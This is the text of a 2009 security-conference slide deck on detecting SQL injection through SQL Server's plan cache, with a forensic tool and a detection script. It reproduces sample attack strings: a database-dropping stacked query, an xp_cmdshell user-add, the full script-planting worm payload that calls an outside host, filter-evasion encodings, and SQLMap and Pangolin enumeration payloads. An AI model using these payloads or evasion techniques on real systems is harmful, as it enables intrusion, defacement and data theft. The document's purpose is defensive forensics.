

To Cache a Thief

Using database caches to detect SQL injection attacks

presented to SecTor

October 6th, 2009






Kevvie Fowler, GCFA Gold, CISSP,
MCTS, MCDBA, MCSD, MCSE



About me

- ❖ Day job: Director Security Services, TELUS | backed by Emergis
- ❖ Night job: Security researcher
- ❖ Security industry contributions:



Presentation overview

❖ Background behind this session

- After an excellent response on the coverage of cache based attack detection within *SQL Server Forensic Analysis* I thought – why not spin off a talk on this subject ?


❖ This session will cover

- A high-level overview of popular SQLi attacks
- Database cache-based attack detection (SQL Server)
- A new database IR tool – Hypnosis that will aid in attack verification

SQL injection overview

What is SQL Injection?

The use of malicious commands to manipulate SQL resulting in the execution of arbitrary statements within the backend database



SQL injection overview (2)

❖ Is this a database problem?

- No SQL injection vulnerabilities exist within applications (web, client\server)
- But did within native database server code (sp_MSDropRetry, sp_MSdroptemptable)

❖ Are certain databases more vulnerable to SQL injection attacks?

- No, but some db products & programming languages support stacked queries which can increase the likelihood\impact of an attack (Oracle, MySQL, SQL Server, Php, ASP, ASP.Net, , etc.)
- Stacked-query based attacks are also a little easier to investigate

Stacked query example:

```
select EmployeeID, Fname from ssfa.employee where status = 1 and fname = 'Isaiah'; DROP database SSFA --'
```

SQL injection attacks in the news


- ❖ Okay SQL injection attacks have been around for years – is this still a problem today?
 - Hackers compromise 5 major card processors accessing over 130 million credit\debit card numbers
 - 2 major AV vendor websites hacked via SQL injection
- ❖ It's often the attacks you know about that are successful
 - Knowing is “half the battle”
Case in point: *“Who the heck would expose a RDBMS to an un-trusted network?”* common response to MS03-031 exploited by SQL Slammer which infected 75,000 systems within 10 minutes of release
 - Vulnerability scanners, manual detection can identify most but often not all SQL injection entry points
 - SQLi vulnerabilities can be expensive to fix
- ❖ So what can you do? Identify and fix vulnerable entry points and try to protect your applications

SQL injection avoidance

- ❖ IPS\WAF is a popular control to help prevent attacks
- ❖ The following are a few avoidance techniques\design principles that affect an organizations ability to detect attacks
 - Encryption (SSL, IPSEC)
 - Concatenation: '; EXEC ('SEL' + 'ECT US' + 'ER')
 - Variables: ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER'); EXEC (@X)
 - SQL Comments: /**/Union/**/SELECT/**/ or UN/**/IoN
 - White space: (too much or too little) – 'OR'1'='1' | UNION SELECT ALL
 - Encoding (SecTor 2009)
 - **Unicode/UTF-8:** %22SecTor%202009%22
 - **URL:** %20%53%65%63%54%6f%72%20%32%30%30%39
 - **Hex:** 0x536563546F722032303039
 - **CHAR Function:** CHAR(83) + CHAR (101) + CHAR(99) + CHAR (84) + CHAR(111) + CHAR (114) + CHAR(32) + CHAR (50) + CHAR(48) + CHAR (48) + CHAR(57)

Performing attack detection down-stream

- ❖ Performing SQLi attack detection downstream can overcome several of the existing detection challenges



Database-based attack detection

- ❖ Database-server based controls such as HIPS, DB monitoring\WAF agents, work well but require the following pre-attack:
 - Investment (capital, testing, configuration and troubleshooting)
- ❖ In absence/addition to security controls look at the database cache
 - Integral, “always-on” component of database servers that can be used for attack detection.
- ❖ Databases maintain several memory-resident caches of past activity
- ❖ We’ll be focusing today on SQL Servers *SQL Plans* cache
 - Ad-hoc SQL | (SELECT, INSERT, UPDATE and DELETE statements)
 - Stored & extended procedure execution
 - Many but not all statements are cached
- ❖ Why do databases cache plans?

SQL Server database cache overview




❖ Sample SQL injection attack syntax:

```
select EmployeeID, Fname from ssfa.employee where fname = 'Isaiah' or 1=1;  
exec xp_cmdshell "net user Isaiah Chuck!3s /add" -- To further prove this point  
can you see this comment?'
```

❖ Associated plan cache entry (text) :

```
select EmployeeID, Fname from ssfa.employee where fname = 'Isaiah' or 1=1;  
exec xp_cmdshell "net user Isaiah Chuck!3s /add" -- To further prove this point  
can you see this comment?'
```

❖ Associated plan cache entry (graphical)

Query 1: Query cost (relative to the batch): 100%	
select EmployeeID, Fname from ssfa.employee where fname = 'Isaiah' or 1=1;	
 SELECT Cost: 0 %	 Table Scan [Employee] Cost: 100 %
Query 2: Query cost (relative to the batch): 0%	
exec xp_cmdshell "net user Isaiah Chuck!3s /add" -- To further prove this point can you see this comment?'	
 EXECUTE PROC Cost: 0 %	

SQL Server database cache overview⁽²⁾

❖ Some cached statements are parameterized

- Sample parametrized statement:

```
(@1 tinyint,@2 varchar(8000))SELECT EmployeeID, Fname FROM [ssfa].[employee] WHERE [status]=@1 AND [fname]=@2
```

❖ Parameterization is good for databases but bad for cache-based detection

❖ Fortunately SQLi attacks often include statements that are cached without parameterization

Example - queries using:

- IN
- UNION
- INTO
- TOP
- WAITFOR
- Sub queries
- Expressions joined by OR in a WHERE clause
- Comparisons between two constants
- Statements submitted via EXEC string
- etc. etc.

SQL Server database cache overview

❖ SQL Server database cache overview

SQL Server Version	Cache Pressure Limit	Server with 28 GB Ram
SQL Server 2008 and SQL Server 2005 SP2	75% of visible target memory from 0-4GB + 10% of visible target memory from 4Gb-64GB + 5% of visible target memory > 64GB	5.4 GB of memory
SQL Server 2005 RTM and SQL Server 2005 SP1	75% of visible target memory from 0-8GB + 50% of visible target memory from 8Gb-64GB + 25% of visible target memory > 64GB	16 GB of memory
SQL Server 2000	SQL Server 2000 4GB upper cap on the plan cache	4 GB of memory

❖ How long are they kept – short answer is hours, days, weeks - it varies...

- Memory Pressure (int. & ext.)
- Number of times used
- Server Memory
- Manual cache flushes
- Size relative to other database caches
- Resources required to produce the plan
- Changes to associated objects
- Restart of MSSQLServer service

Database cache-based attack detection

- ❖ Can take the guess work out of an investigation - attacks in the cache have been successfully tunneled through an application
- ❖ SQLi attacks typically leave behind specific fingerprints within the cache
 - Database enumeration
 - Reading, modifying or deleting information
 - Creating tables, objects, users
 - Creating back doors
 - Reading the registry
 - Reading file system files
- ❖ The method of SQL injection will affect the amount of activity recorded in the cache
- ❖ A cache-based look at some recent SQLi attacks and attack tools

A look at cached SQLi attacks | Winzipicies worm


- ❖ Mass-SQL Injection worm (winzipices.cn) infecting over 500,000 sites in 2008

```
<injection point>;DECLARE @T varchar(255),@C varchar(255) DECLARE  
Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b  
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or  
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C  
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+] set  
['+@C+']=rtrim(convert(varchar,['+@C+']))+'<script  
src="http://winzipices.cn/3.js"></script>') FETCH NEXT FROM Table_Cursor INTO  
@T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
```

```
update [Employee] set [LNAME]=rtrim(convert(varchar,[LNAME]))+'<script  
src="http://winzipices.cn/3.js"></script>'
```

A look at cached SQLi attacks | Accuentix

- ❖ Accunetix tool used in the attack on a leading AV vendor website in 2009



<injection point> '/**/or/**/1=1/**/and/**/'1='1'

A look at cached SQLi attacks | SQLMap

- ❖ Automated SQL Injection tool released at Black Hat DC 2009 allowing interaction with host database operating system.


```
C:\Windows\system32\cmd.exe - python sqlmap.py -u"http://192.168.1.188/?Name=Mikaela" --banner
[22:08:37] [INFO] testing unescaped numeric injection on GET parameter 'Name'
[22:08:37] [INFO] GET parameter 'Name' is not unescaped numeric injectable
[22:08:37] [INFO] testing single quoted string injection on GET parameter 'Name'
[22:08:37] [INFO] confirming single quoted string injection on GET parameter 'Name'
[22:08:37] [INFO] GET parameter 'Name' is single quoted string injectable with 0
parenthesis
[22:08:37] [INFO] testing for parenthesis on injectable parameter
[22:08:37] [INFO] the injectable parameter requires 0 parenthesis
[22:08:37] [INFO] testing MySQL
[22:08:38] [WARNING] the back-end DMBS is not MySQL
[22:08:38] [INFO] testing Oracle
[22:08:38] [WARNING] the back-end DMBS is not Oracle
[22:08:38] [INFO] testing PostgreSQL
[22:08:38] [WARNING] the back-end DMBS is not PostgreSQL
[22:08:38] [INFO] testing Microsoft SQL Server
[22:08:38] [INFO] confirming Microsoft SQL Server
[22:08:38] [INFO] the back-end DBMS is Microsoft SQL Server
[22:08:38] [INFO] fetching banner
[22:08:38] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.3042.00 <Intel X86
>
Feb  9 2007 22:47:07
Copyright (c) 1988-2005 Microsoft Corporation
Expres
```

<injection point> ' AND ASCII(SUBSTRING((ISNULL(CAST(@@VERSION AS VARCHAR(8000)), CHAR(32))), 171, 1)) > 99 AND 'Lyatf'='Lyatf' -- '

1 of over 1490 cache entries created by database banner enumeration via SQLMap

A look at cached SQLi attacks | Pangolin

- ❖ Similar to SQLMap but with a GUI front end inclusive of “un-hardening” buttons – Dangerous !



Cache entry generated in response to the enumeration of DB server registry via Pangolin

```
<injection point> 'declare @s nvarchar(4000) exec master.dbo.xp_regread  
0x484b45595f4c4f434114c5f4d414348494e45,0x534f4654574152455c4d6963726f736  
f66745c57696e646f77735c43757272656e7456657273696f6e,  
0x50726f772616d46696c6573446972, @s output insert into pangolin_test_table (a  
values(@s);--'
```

Detecting SQLi attacks within the cache

- ❖ So you know cache items are there but how do you get to them?
 - Transact SQL (SQL Server)
 - Ad-hoc TSQL code
 - A customized Incident Response framework (WFTSQL)
 - Hypnosis – a new alternative



Hypnosis

Hypnosis

❖ Hypnosis

- C# command-line application
- Minimal disruption to SQL Server
- Uses Regex rules file to search a database cache for attack fingerprints

Hypnosis⁽²⁾

< Hypnosis demo >

Hypnosis⁽³⁾

- ❖ No sales, no gimmicks - Hypnosis is free and can take you from attack uncertainty:
 - Unqualified security event (IDS, WAF, etc)
 - Strange web server log entries
- ❖ To Confirmation that an attack has occurred and successfully tunneled to the db server:

```
? || Pangolin database file system enumeration || Oct 3 2009  
9:23PM || Oct 3 2009 9:23PM || Select * from ssfa.employee  
where status = 1 and fname='Mikaela' ;declare @z  
nvarchar(4000) set @z=0x43003a005c00 insert  
pangolin_test_table execute master..xp_dirtree @z,1,1--' || 1
```



Hypnosis will be posted within
the next few weeks on
www.applicationforensics.com
/hypnosis

Configuring your SQL Servers to detect attacks


❖ Script snippet

```
...
DECLARE CUR_cachescan CURSOR READ_ONLY FOR
select RTRIM(DB_NAME(dbid)), RTRIM(creation_time), RTRIM(last_execution_time), RTRIM(text),
       RTRIM(execution_count) from sys.dm_exec_query_stats qs CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) st
       where last_execution_time >= DATEADD(n, @interval, GETDATE()) order by last_execution_time DESC
OPEN CUR_cachescan
FETCH NEXT FROM CUR_cachescan INTO @dbid, @creation_time, @last_exec_time, @text, @execution_count
WHILE @@FETCH_STATUS = 0
BEGIN
--Check for cache matches
IF @text like '%pangolin%xp_regread%' BEGIN set @text = 'Pangolin registry enumeration: ' + @text; exec xp_logevent
    50001, @text, warning END
ELSE IF @text like '%is_srvrolemember(0x730079007300610064006d0069006e00) as
    nvarchar(4000))+char(94)+char(94)%' BEGIN set @text = 'Pangolin user enumeration: ' + @text; exec xp_logevent
    50001, @text, warning END
ELSE IF @text like '%pangolin%xp_availablemedia%' BEGIN set @text = 'Pangolin partition enumeration: ' + @text; exec
    xp_logevent 50001, @text, warning END
...
FETCH NEXT FROM CUR_cachescan INTO @dbid, @creation_time, @last_exec_time, @text, @execution_count
END
DEALLOCATE CUR_cachescan
```

Script can be downloaded from www.applicationforensics.com/hypnosis

Configuring your SQL Servers to detect attacks⁽²⁾

- ❖ Sample eventlog entry generated in response to SQL injection banner enumeration via SQLMap



What to do when you detect something malicious

- ❖ Launching a full database forensics investigation is highly recommended
 - 33 documented database artifacts
- ❖ Turbo review of an investigation
 - Looking at just 2 artifacts (plan cache , transaction log) lets look at how to qualify a SQLi attack to identify data returned to the attacker:

Plan Cache: Reviewing plan cache can provide commands executed by the attacker\attack tool

- Database enumeration
- SELECT, INSERT, UPDATE, DELETE statements
- etc.

TLOG: If operating system was accessed and results returned to the attacker, reconstructing the associated temp table can identify data disclosed

- Command line statements executed
- Data returned to attacker

What to do when you detect something malicious⁽²⁾

❖ Items logged within the transaction log in response to O/S level commands executed via the database

- 1) 0x300004000100FE01004B0049006E0074006500720066006100630065003A0020003100390032002E003100360038002E0031002E0031003700360020002D002D002D002000300078003800
- 2) 0x300004000100FE01006F002000200049006E007400650072006E00650074002000410064006400720065007300730020002000200020002000200050006800790073006900630061006C0020004100640064007200650073007300200020002000200020005400790070006500
- 3) 0x300004000100FE01007B00200020003100390032002E003100360038002E0031002E00320020002000200020002000200020002000300030002D00300030002D00320031002D00640030002D00620034002D003300370020002000200020002000640079006E0061006D0069006300200020002000
- 4) 0x300004000100FE01007B00200020003100390032002E003100360038002E0031002E00330020002000200020002000200020002000300030002D00360030002D00620030002D00650065002D00320034002D006300650020002000200020002000640079006E0061006D0069006300200020002000
- 5) 0x300004000100FE01007B00200020003100390032002E003100360038002E0031002E00320030002000200020002000200020002000300030002D00360030002D00620030002D00620034002D00640035002D003500370020002000200020002000640079006E0061006D0069006300200020002000

What to do when you detect something malicious⁽³⁾

❖ Reconstruction of data rows inserted into the table and extracted line-by-line by the attacker:

(1) Interface: 192.168.1.176 --- 0x8

(2) Internet Address	Physical Address	Type
(3) 192.168.1.2	00-00-21-d0-b4-37	dynamic
(4) 192.168.1.3	00-60-b0-ee-24-ce	dynamic
(5) 192.168.1.20	00-60-b0-b4-d5-57	dynamic

...

Can you tell what command was executed during the attack ?

❖ Other possible investigation findings – post attack?

- Data disclosed within the database and files read from the file system
- Recovery of binaries uploaded to the database server file system / SQL CLR
- Server login\Database user account involved
- Database(s) impacted
- Attacker IP address

What to do when you detect something malicious⁽⁴⁾

❖ Additional details on database incident response and forensics

- Whitepaper:

- http://www.sans.org/reading_room/whitepapers/forensics/forensic_analysis_of_a_sql_server_2005_database_server_1906

- Past presentation:

- <https://www.blackhat.com/presentations/bh-usa-07/Fowler/Presentation/bh-usa-07-fowler.pdf>

❖ Step-by step instructions within *SQL Server Forensic Analysis*

Is the SQLi detection within the cache a silver bullet?

- ❖ Is hypnosis and cache-based attack detection a silver bullet? Not quite, as covered there are ways around it
Table details:
- ❖ Existing hacker focus and attack tools don't take the cache into account
- ❖ It's a cat and mouse game have fun while the good guy's are a step ahead

Thanks to ***Naveed UI Islam*** for performing the application security peer review of Hypnosis !

Thank-you | additional information

Thank-you! - additional information and questions:

kevvie.fowler@ringzero.ca

